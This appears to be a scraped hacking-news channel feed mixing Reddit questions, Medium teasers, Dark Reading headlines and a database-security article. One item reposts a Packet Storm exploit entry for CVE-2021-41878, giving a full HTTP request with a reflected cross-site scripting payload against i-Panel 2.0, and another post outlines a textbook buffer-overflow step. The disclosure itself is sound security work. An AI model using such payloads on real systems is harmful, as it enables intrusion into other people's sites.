Dark Reading: Attacks/Breaches
How AI Can Stop Zero-Day Ransomware

Ransomware attacks are unpredictable. AI is better at figuring out what looks malicious and abnormal than humans will ever be.

hacking: security in practice
URGENT inquiry

I know that this place is not for this but, could someone tell me were or who to talk to about checking my personal history of zoom meetings attended if I was not the host of those meetings.

I will not explain why but somebody who hate me set me up on a situation that will have HUGE economical consecuentes for me and my family based on lies and misunderstanding that are not true but I can’t prove without proofs.

Thanks in advance

submitted by /u/Jotitax
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Buffer Overflow in C

I was reading my textbook and it says that in order to buffer overflow a "Correct Serial" in a basic C program using GDB, I need to disass main, then locate the part of the code that contains the correct serial. Once I have the address of the correct serial, I am supposed to overwrite the main address by $(perl -e 'print' "INSERT ADDRESS" x10) (ten times to make sure it is overwritten).

When I look at this big paragraph that is full of addresses and calls, jumps, leaves and tests, how do I locate the correct serial? Do I need to do something beforehand?

submitted by /u/jacenmartin
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I was scammed in metamask... a few times

When I first saw my BNB's dissapeared from my wallet, I thought I did something wrong, I thought that was my fault, so I removed all smart contracts from this wallet - yeah I know that I should forget this wallet forever, but I have nome NFT Games and I dont wanna lose this. So today I got scammed again, even without smart contracts in this account. I don't know how.

He keep scamming a lot of people, you can check his wallet: 0x67CD35A4bf7ac89d1601382fCa47aB419d2C4CFf

For the record, I played BombCrypto, PVU, BlockFarm and PMON, and I NEVER shared my seed or private key or even typed in my PC.

I just wanna stop being scammed, I already removed all Smart Contracts, what else can I do????

submitted by /u/Twenty-nOne
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Unexpected IDOR Vulnerability in [REDACTED] — [redacted].net (Write Up)

Howdy Guys!Continue reading on Medium »
Read more...

Hacking on Medium
3 linux commands you should beware of !

https://cdn-images-1.medium.com/max/1050/1*orvFr6KMHZCuxnC3V1GXGw.jpeg
The following commands ‘ll cause serious damage to your unix machine.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Windows Threat Hunting: Processes

https://cdn-images-1.medium.com/max/728/1*_hwFoEqNq2D4Rr1LBy_20w.jpeg
These programs are not designed to be malicious - but they do have functions that can be used for malicious purposes.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
i-Panel Administration System 2.0 Cross Site Scripting

https://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png
i-Panel Administration System version 2.0 suffers from a cross site scripting vulnerability.

MD5 | 39d10d230c9465bc30c644f1917dd5f9

Download
# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
# Date: 04.10.2021
# Exploit Author: Forster Chiu
# Vendor Homepage: https://www.hkurl.com
# Version: 2.0
# Tested on: Chrome, Edge and Firefox
# CVE: CVE-2021-41878
# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html

As a proof of concept, an alert box can be generated with the following payload.
Exploit PoC:

GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1
Host: Forster
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: close

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Unexpected IDOR Vulnerability in [REDACTED] — [redacted].net (Write Up)
https://bountyget.medium.com/unexpected-idor-vulnerability-in-redacted-redacted-net-write-up-95fc6f10de6c?source=rss------bug_bounty-5

Howdy Guys!Continue reading on Medium » (https://bountyget.medium.com/unexpected-idor-vulnerability-in-redacted-redacted-net-write-up-95fc6f10de6c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
From Help Desk to Head of SOC: Building a Cybersecurity Career on Empathy and Candor

Why a passion for helping people is key to delivering effective cybersecurity solutions.

Dark Reading: Attacks/Breaches
'Clumsy' BlackByte Malware Reuses Crypto Keys, Worms Into Networks

Discovered during a recent incident response engagement, the malware avoids Russian computers and uses a single symmetric key for encrypting every compromised system.

Dark Reading: Attacks/Breaches
Evolution Equity Partners Close $400M for Cybersecurity Investments

The firm expands capital base, team, and platform addressing a rapidly growing cybersecurity investment opportunity.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Databases Worldwide are Full of Security Holes

Data security is a big deal. Lapses in data security aren’t just a minor mistake; they can violate regulatory compliance rules, fail to protect customers who have agreed to share personal information, and risk losing companies their competitive advantage.

The risks associated with database security are enormous. Fines for improper database security have stretched into the hundreds of millions of dollars. That’s before you even start to factor in the reputational damage such breaches can cause, and the long-term impact it could potentially have on customers, whose personally identifiable information (PII) could be exposed. While data undoubtedly drives some of the world’s most powerful technologies, it’s also an asset that needs to be safeguarded to the highest of levels. Unfortunately, that is not always the case.

According to a recent study, a scan of 27,000 on-prem databases around the world over a period of five years found that, on average, they each contained 26 vulnerabilities. More than half of these — 56 percent — were vulnerabilities classed in the two top levels of severity (“High” or “Critical”) of NIST guidelines. That means that, should they be exploited, it could lead to serious data compromise. It’s a reminder of just why database security is so essential. The vulnerability of databasesOne of the big issues involving database security is that organizations have failed to take the right precautions. In many cases, they have assumed that endpoint and perimeter-based security options are enough to protect data. They also failed to maintain regular patching of databases, meaning that even vulnerabilities that have been fixed were not protected against.

The problem was at its worst in France, China, and Singapore, where the percentage of vulnerabilities were in excess of the global average. For example, France has/had an average of 72 vulnerabilities per database in a massive 84 percent of databases. Even countries such as Germany, one of the lower-ranking countries on the list, had vulnerabilities in an average of 19 percent of its databases. Make no mistake, though: This is a global problem. Addressing security concernsWhen it comes to database security, there are multiple factors that organizations need to consider that can help them to better stay on top of the potential threats and other risks that they face.

The first of these is making sure that they have a culture and focus that prioritizes security. Patching vulnerabilities is critically important, but it’s unrealistic to think that a security team will be able to patch every possible vulnerability the moment it’s announced. It’s therefore important that security teams prioritize their efforts, with awareness of both which vulnerabilities are most potentially serious (and should be taken care of the soonest), and also the sensitive data that they hold — and where it is held.

Understanding the challenges means appreciating the risks associated with different approaches to databases, not just the current trend of migrating to the cloud, but also the considerable challenges that remain (as seen by this report) with on-prem databases.

Having full knowledge of this can help guide security teams when it comes to ensuring that their efforts are directed where they need to be. A supportive company culture that emphasizes security will only make these efforts more effective. It is essential that organizations have a cohesive, crystal clear strategy that they can employ when it comes to protecting databases. Not only can this make response to vulnerabilities and possible threats more efficient; it can additionally ensure that compliance regulations are met and that security can be handled in a proactive, rather than reactive, manner.

One crucial step that[...]

___________________________
@hacking_Attack
@Hacking_Video

organizations should employ involves the use of cutting-edge technology to help them. Real-time database monitoring tools work by continually scanning databases for attempted breaches so that you can react quickly. Meanwhile, web application and database firewalls can protect against a variety of threats which affect databases, such as SQL injection. There are also file integrity protection (FIM) and file security tools, designed to protect sensitive files against threats from both malicious insiders and cyber criminals alike. The modern bank vaultDatabases remain the bank vaults of the modern world: a trove of valuables that need to be protected at all costs. Not every data breach is always the malicious actions of a hacker or aggrieved employee. In some, it could be simply an error that results in a database being made accessible to the world. But regardless of the cause of the breach, organizations are increasingly aware of the risks associated with compromised databases or database vulnerabilities. It’s essential that they act to practice good data hygiene practices so that these risks are negated.

Failing to do so may have ramifications that could, in a worst-case scenario, bring down an entire company. There’s no excuse not to exhibit the right behavior when it comes to database security.

Especially in a world where the tools to help you are so readily available.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Importance of SSL

Let's say I log into a http website and my credentials are sent as a plain text. Who can actually see my credentials, other than people connected to my network and the website's network? Everyone mentions "malicious actors" but I can't imagine how could a random hacker sniff on my traffic when he doesn't have access to both networks.

submitted by /u/k3rn3t
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Question

How do i find the dark forest video of that dog on the dark web i heard it's some violent shi btw I'm using my phone

submitted by /u/cligey_
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video